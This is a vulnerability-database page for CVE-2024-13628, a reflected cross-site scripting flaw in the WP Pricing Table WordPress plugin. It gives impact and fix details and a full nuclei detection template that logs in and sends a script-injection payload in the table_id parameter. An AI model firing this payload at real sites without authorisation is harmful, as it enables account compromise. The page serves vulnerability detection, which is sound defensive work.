HexBrain

Browse / CVEs / CVE-2024-13628

CVE-2024-13628· CWE-79

WP Pricing Table - Reflected XSS

mediumseverity
6.1CVSS score
0.7%likelihood of exploitation, next 30 days
52%of all CVEs are less likely
Readycheck to confirm it

WP Pricing Table WordPress plugin <= 1.1 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute scripts in the context of high privilege users, exploit requires attacker to craft malicious URL.

Impact

Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.

Fix

Update to the latest version of WP Pricing Table plugin that addresses the vulnerability or apply security patches.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=wp-pricing-table-menu&action=new&table_id=1"></script><script>alert(document.domain)</script><script>
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>","wp-pricing-table")

Run it with nuclei: nuclei -id CVE-2024-13628 -u <target>

The full check
id: CVE-2024-13628

info:
  name: WP Pricing Table - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    WP Pricing Table WordPress plugin <= 1.1 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute scripts in the context of high privilege users, exploit requires attacker to craft malicious URL.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of WP Pricing Table plugin that addresses the vulnerability or apply security patches.
  reference:
    - https://wpscan.com/vulnerability/34d6c8a2-e70d-485c-a217-4a569c16b079/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13628
    cwe-id: CWE-79
    epss-score: 0.00653
    epss-percentile: 0.51624
    cpe: cpe:2.3:a:codecabin:wp_pricing_table:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/plugins/wp-pricing-table/"
  tags: cve,cve2024,codecabin,wp-pricing-table,wordpress,wp,wp-plugin,authenticated,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=wp-pricing-table-menu&action=new&table_id=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>","wp-pricing-table")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from